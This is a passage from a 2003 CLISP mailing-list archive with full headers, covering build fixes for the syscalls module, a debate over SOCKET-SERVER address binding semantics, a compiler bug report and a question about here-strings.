calls.c: In function `C_subr_posix_file_stat': > > calls.c:553: parse error before `file' > > calls.c:556: `file' undeclared (first use in this function) > > calls.c:556: (Each undeclared identifier is reported only once > > calls.c:556: for each function it appears in.) > > calls.c:557: warning: left-hand operand of comma expression has no effect > > calls.c:561: `buf' undeclared (first use in this function) > > calls.c:578: warning: left-hand operand of comma expression has no effect > > make[1]: *** [calls.o] Error 1 > > make[1]: Leaving directory `/tmp/build/clisp-2.31/build-myclient/syscalls' > > make: *** [syscalls] Error 2 > > I bet your GCC is not 3 (i.e., not C99). Nope, it's 2.95 > Sorry. > Please try the appended patch. Thanks, that almost does it. After applying that patch, the compiler complained that clisp.h was declaring a global variable after a function definition, when it was included from calls.c. With the appended patch, it compiles all the way, and the produced clisp seems to kind-of work. Actually, it dies in "make testsuite" with a segfault on this test: (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) make[1]: *** [tests] Segmentation fault The non-syscalls build fails here, cleanly: (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) ERROR!! " *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1 I'm a little uncomfortable with the resulting build, but I'll try testing the actual application with it. --- syscalls/calls-orig.c Tue Oct 28 09:42:18 2003 +++ syscalls/calls.c Tue Oct 28 09:42:46 2003 @@ -5,6 +5,7 @@ */ #include "config.h" +#include "clisp.h" #if defined(TIME_WITH_SYS_TIME) # include @@ -39,8 +40,6 @@ # define UNIX_CYGWIN32 # undef UNICODE #endif - -#include "clisp.h" /* #define DEBUG */ #if defined(DEBUG) -- /|_ .-----------------------. ,' .\ / | No to Imperialist war | ,--' _,' | Wage class war! | / / `-----------------------' ( -. | | ) | (`-. '--.) `. )----' From don-sourceforge@isis.cs3-inc.com Tue Oct 28 22:12:39 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEjZP-0003fl-00 for ; Tue, 28 Oct 2003 22:12:39 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AEjZO-0004JD-Hr for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 22:12:38 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id h9T6GYC31719 for clisp-list@lists.sourceforge.net; Tue, 28 Oct 2003 22:16:34 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16287.23362.728576.165702@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 28 22:13:17 2003 X-Original-Date: Tue, 28 Oct 2003 22:16:34 -0800 > > (SOCKET:SOCKET-SERVER-HOST socket-server) > > (SOCKET:SOCKET-SERVER-PORT socket-server) > > > > Returns the host mask indicating which hosts can connect to this > > server and the port which was bound using SOCKET:SOCKET-SERVER. > > > > Is that correct? I thought this was the local ip address, not remote. > > it's a mask for remote hosts. > see stream.d:SOCKET-SERVER and socket.d:create_server_socket. The comments there seem to suggest that this is related to remote hosts, but what I see in man (wandering through ip(7), bind(2), packet(7), socket) leads me to believe, as I thought before, that it's the local address. This also says, if I read it correctly, that there's nothing between 0.0.0.0 and a single address, i.e., no /24's. So what I'd like is an optional IP address. My understanding is that on a machine with multiple IP addresses you can listen on one or on all. Sometimes you want one and sometimes the other. So far I don't see how to do that with the optional socket argument, since that could only have been created the same way, giving an IP address of 0.0.0.0, right? > the argument to SOCKET-SERVER can be an existing SOCKET-STREAM, in > which case the peer address of that SOCKET-STREAM will be the only > address from which this SOCKET-SERVER can accept connections. This seems to suggest (again) that the address is the remote IP. I think it's the address of the LOCAL machine. If I have two IP addresses I want to use ONE of them for this socket so I can still use the other for another one on the same port, for instance if I want to run two different web servers with my two different IP addresses. > I am not sure about the reasons for this dichotomy (either port or mask > but not both; either mask 0.0.0.0 or a single IP). The man pages suggest 0.0.0.0 is not a mask but a special case address. From sds@alphatech.com Wed Oct 29 06:00:39 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEqsJ-0004R1-00 for ; Wed, 29 Oct 2003 06:00:39 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AEqsI-0008In-SL for clisp-list@lists.sourceforge.net; Wed, 29 Oct 2003 06:00:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9TE0BR22479 for ; Wed, 29 Oct 2003 09:00:11 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16286.47330.478663.196650@famine.OCF.Berkeley.EDU> (Thomas F. Burdick's message of "Tue, 28 Oct 2003 10:43:46 -0800") References: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> <16286.47330.478663.196650@famine.OCF.Berkeley.EDU> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Trying to build with syscalls support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 29 06:01:07 2003 X-Original-Date: Wed, 29 Oct 2003 09:00:11 -0500 > * Thomas F. Burdick [2003-10-28 10:43:46 -0800]: > > Thomas F. Burdick writes: > > I'm trying to compile a clisp with the syscalls module, so I can use > > posix:stream-lock instead of the gross hack I currently use, > > Hmm, when I built clisp with the following command line: > > ./configure --prefix="/home/myclient/clisp-2.31" --with-module=syscalls --with-export-syscalls --build build-myclient > > and I load the resulting CLISP, I don't see the syscalls module, nor a > POSIX package. --with-export-syscalls is obsolete and ignored. to use syscalls, you need to run the "full" linking set: clisp -K full -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From sds@alphatech.com Wed Oct 29 06:06:12 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AEqxg-0004rP-00 for ; Wed, 29 Oct 2003 06:06:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AEqxf-0000bQ-Mi for clisp-list@lists.sourceforge.net; Wed, 29 Oct 2003 06:06:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9TE64R23907 for ; Wed, 29 Oct 2003 09:06:05 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16287.2203.893935.449426@famine.OCF.Berkeley.EDU> (Thomas F. Burdick's message of "Tue, 28 Oct 2003 16:23:55 -0800") References: <16285.50205.463826.687318@firestorm.OCF.Berkeley.EDU> <16287.2203.893935.449426@famine.OCF.Berkeley.EDU> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Trying to build with syscalls support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 29 06:07:02 2003 X-Original-Date: Wed, 29 Oct 2003 09:06:04 -0500 > * Thomas F. Burdick [2003-10-28 16:23:55 -0800]: > > Thanks, that almost does it. After applying that patch, the compiler > complained that clisp.h was declaring a global variable after a > function definition, when it was included from calls.c. With the > appended patch, it compiles all the way, and the produced clisp seems > to kind-of work. what is the function? what is the variable? > Actually, it dies in "make testsuite" with a segfault on this test: > (LET ((H (MAKE-HASH-TABLE :TEST `(,(LAMBDA (A B) (LIST (LIST '= A B)) (= A B)) . ,(LAMBDA (X) (LET ((Z (SXHASH (COERCE X 'DOUBLE-FLOAT)))) (LIST `((HASH ,X) => ,Z)) Z)))))) (LOOP :FOR I :FROM 0 :TO 1000 :DO (SETF (GETHASH I H) (FORMAT NIL "~r" I))) (LOOP :FOR I :FROM 0 :TO 1000 :UNLESS (STRING= (GETHASH (FLOAT I 1.0d0) H) (GETHASH (FLOAT I 1.0s0) H)) :COLLECT I)) make[1]: *** [tests] Segmentation fault ignore. > The non-syscalls build fails here, cleanly: > (IF *NO-ICONV-P* "AZ" (CONVERT-STRING-FROM-BYTES '#(255 254 65 0 13) (MAKE-ENCODING :CHARSET "utf-16" :INPUT-ERROR-ACTION #\Z))) > ERROR!! " > *** - Character #\uFEFF cannot be represented in the character set CHARSET:ISO-8859-1 please try the appended patch for tests/Makefile > I'm a little uncomfortable with the resulting build, but I'll try > testing the actual application with it. > > --- syscalls/calls-orig.c Tue Oct 28 09:42:18 2003 > +++ syscalls/calls.c Tue Oct 28 09:42:46 2003 > @@ -5,6 +5,7 @@ > */ > > #include "config.h" > +#include "clisp.h" > > #if defined(TIME_WITH_SYS_TIME) > # include > @@ -39,8 +40,6 @@ > # define UNIX_CYGWIN32 > # undef UNICODE > #endif > - > -#include "clisp.h" > > /* #define DEBUG */ > #if defined(DEBUG) "clisp.h" has to be included after UNIX_CYGWIN32 has been defined and UNICODE undefined. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lottery is a tax on statistics ignorants. MS is a tax on computer-idiots. --- Makefile.~1.12.~ 2003-10-09 18:17:30.116326800 -0400 +++ Makefile 2003-10-29 09:02:34.735080300 -0500 @@ -6,7 +6,7 @@ # executable extension (.exe on win32, .run everywhere else) LEXE=.run -LISP=$(BD)/lisp$(LEXE) -norc -B $(BD) -M $(BD)/lispinit.mem +LISP=$(BD)/lisp$(LEXE) -E utf-8 -norc -B $(BD) -M $(BD)/lispinit.mem # LISP=../clisp -norc # LISP=clisp -norc From hin@van-halen.alma.com Thu Oct 30 04:23:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFBpX-0000Bg-00 for ; Thu, 30 Oct 2003 04:23:13 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFBpX-00036G-K5 for clisp-list@lists.sourceforge.net; Thu, 30 Oct 2003 04:23:11 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id B956D10DE09 for ; Thu, 30 Oct 2003 07:23:10 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id h9UCNA60013203 for ; Thu, 30 Oct 2003 07:23:10 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id h9UCNAKC013200; Thu, 30 Oct 2003 07:23:10 -0500 Message-Id: <200310301223.h9UCNAKC013200@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Tue, 28 Oct 2003 14:11:18 -0500) Subject: Re: [clisp-list] Re: binding sockets? X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 30 04:24:02 2003 X-Original-Date: Thu, 30 Oct 2003 07:23:10 -0500 > From: Sam Steingold > Date: Tue, 28 Oct 2003 14:11:18 -0500 > > the argument to SOCKET-SERVER can be an existing SOCKET-STREAM, in > which case the peer address of that SOCKET-STREAM will be the only > address from which this SOCKET-SERVER can accept connections. > > I am not sure about the reasons for this dichotomy (either port or mask > but not both; either mask 0.0.0.0 or a single IP). There probably isn't a good reason. SOCKET-SERVER should simply allow you to specify explicitly the address (or 0.0.0.0) on which the listen is done. > I think it would be a good idea to add a second optional argument > to act as a mask Yes > (I am not sure what type that should be - a dotted quad > string? a bit vector? a byte array? a uint32? what about ipv6?) Dotted quad string probably easiest for most users. > maybe we also need > (socket-server port socket-stream) > what about > (socket-server socket-stream mask) I'm having trouble imagining a user for either of these. Usually. you just want to say listen on this port, on these address(es) and that's that. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@alphatech.com Thu Oct 30 05:51:10 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFDCg-0002Lo-00 for ; Thu, 30 Oct 2003 05:51:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AFDCf-0007xd-BR for clisp-list@lists.sourceforge.net; Thu, 30 Oct 2003 05:51:09 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9UDp2Z18155 for ; Thu, 30 Oct 2003 08:51:03 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200310301223.h9UCNAKC013200@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 30 Oct 2003 07:23:10 -0500") References: <200310301223.h9UCNAKC013200@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding sockets? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 30 05:52:03 2003 X-Original-Date: Thu, 30 Oct 2003 08:51:02 -0500 > * John K. Hinsdale [2003-10-30 07:23:10 -0500]: > > > maybe we also need > > (socket-server port socket-stream) > > what about > > (socket-server socket-stream mask) > > I'm having trouble imagining a user for either of these. Usually. you > just want to say listen on this port, on these address(es) and that's > that. (socket-server port socket-stream) means listen on port for connections from the peer of socket-stream. is this a reasonable request? (I think FTP does something like this) -- Sam Steingold (http://www.podval.org/~sds) running w2k Apathy Club meeting this Friday. If you want to come, you're not invited. From hin@van-halen.alma.com Thu Oct 30 06:20:28 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFDf2-0005cU-00 for ; Thu, 30 Oct 2003 06:20:28 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFDf2-0002gb-Ff for clisp-list@lists.sourceforge.net; Thu, 30 Oct 2003 06:20:28 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id A371B10DE78 for ; Thu, 30 Oct 2003 09:20:27 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id h9UEKR60014167 for ; Thu, 30 Oct 2003 09:20:27 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id h9UEKRx3014164; Thu, 30 Oct 2003 09:20:27 -0500 Message-Id: <200310301420.h9UEKRx3014164@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 30 Oct 2003 08:51:02 -0500) Subject: Re: [clisp-list] Re: binding sockets? X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 30 06:21:15 2003 X-Original-Date: Thu, 30 Oct 2003 09:20:27 -0500 > [Sam Steingold > > (socket-server port socket-stream) > > means listen on port for connections from the peer of socket-stream. > is this a reasonable request? > (I think FTP does something like this) The peer of socket-stream is a remote host; I don't know that it's possible to listen for connections from a particular remote host. When you listen you specify the port and the LOCAL addresses, connections to can be accepted. So I don't know that this usage makes sense. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@alphatech.com Thu Oct 30 06:58:12 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFEFX-000225-00 for ; Thu, 30 Oct 2003 06:58:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AFEFW-0001Sy-T1 for clisp-list@lists.sourceforge.net; Thu, 30 Oct 2003 06:58:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9UEvvZ09558 for ; Thu, 30 Oct 2003 09:57:58 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200310301420.h9UEKRx3014164@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 30 Oct 2003 09:20:27 -0500") References: <200310301420.h9UEKRx3014164@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: binding sockets? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 30 06:59:02 2003 X-Original-Date: Thu, 30 Oct 2003 09:57:52 -0500 > * John K. Hinsdale [2003-10-30 09:20:27 -0500]: > > > [Sam Steingold > > > > (socket-server port socket-stream) > > > > means listen on port for connections from the peer of socket-stream. > > is this a reasonable request? > > (I think FTP does something like this) > > The peer of socket-stream is a remote host; I don't know that it's > possible to listen for connections from a particular remote host. > When you listen you specify the port and the LOCAL addresses, > connections to can be accepted. you must be right. -- Sam Steingold (http://www.podval.org/~sds) running w2k Even Windows doesn't suck, when you use Common Lisp From lisp-clisp-list@m.gmane.org Thu Oct 30 21:18:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFRg7-0008FM-00 for ; Thu, 30 Oct 2003 21:18:31 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFRg6-0002nb-Lp for clisp-list@lists.sourceforge.net; Thu, 30 Oct 2003 21:18:30 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFRg2-00026X-00 for ; Fri, 31 Oct 2003 06:18:26 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AFRg1-00026P-00 for ; Fri, 31 Oct 2003 06:18:25 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFRg1-0000Ae-00 for ; Fri, 31 Oct 2003 06:18:25 +0100 From: "Paul F. Dietz" Lines: 45 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] (random tester) Compiler error with flet/labels optional arguments: SYMBOL-VALUE: 1 is not a SYMBOL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 30 21:19:07 2003 X-Original-Date: Thu, 30 Oct 2003 23:21:44 -0600 CL-TEST[51]> (compile nil '(lambda () (labels ((%f10 (f10-1 &optional (f10-2 (handler-bind nil 878)) (f10-3 (handler-case 10))) -15)) (%f10 -144)))) *** - SYMBOL-VALUE: 1 is not a SYMBOL The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. 1. Break CL-TEST[52]> backtrace <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # <10> # 0 <11> # <12> # <13> # <14> # <15> # <16> # <17> # <18> # <19> # <20> # Printed 20 frames 1. Break CL-TEST[52]> Oddly enough, this call to COMPILE succeeds if (IN-PACKAGE "CL-USER") has been executed. Paul From lisp-clisp-list@m.gmane.org Fri Oct 31 03:50:05 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AFXn3-0001Mn-00 for ; Fri, 31 Oct 2003 03:50:05 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AFXn2-0001ab-Ks for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 03:50:04 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFXn1-00067X-00 for ; Fri, 31 Oct 2003 12:50:03 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AFXhw-00062v-00 for ; Fri, 31 Oct 2003 12:44:48 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFXhw-0003Et-00 for ; Fri, 31 Oct 2003 12:44:48 +0100 From: Christian Schuhegger Lines: 13 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en X-Enigmail-Version: 0.76.7.0 X-Enigmail-Supports: pgp-inline, pgp-mime X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Common Lisp and here-strings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 31 03:52:02 2003 X-Original-Date: Fri, 31 Oct 2003 12:42:08 +0100 Hello, i was wondering if there is a portable implementation of here-strings/here-documents for lisp like perl's: print $OUT <; Fri, 31 Oct 2003 04:12:35 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AFY8o-0001gc-Rm for clisp-list@lists.sourceforge.net; Fri, 31 Oct 2003 04:12:35 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AFY8n-0006My-00 for ; Fri, 31 Oct 2003 13:12:33 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AFY8m-0006Mm-00 for 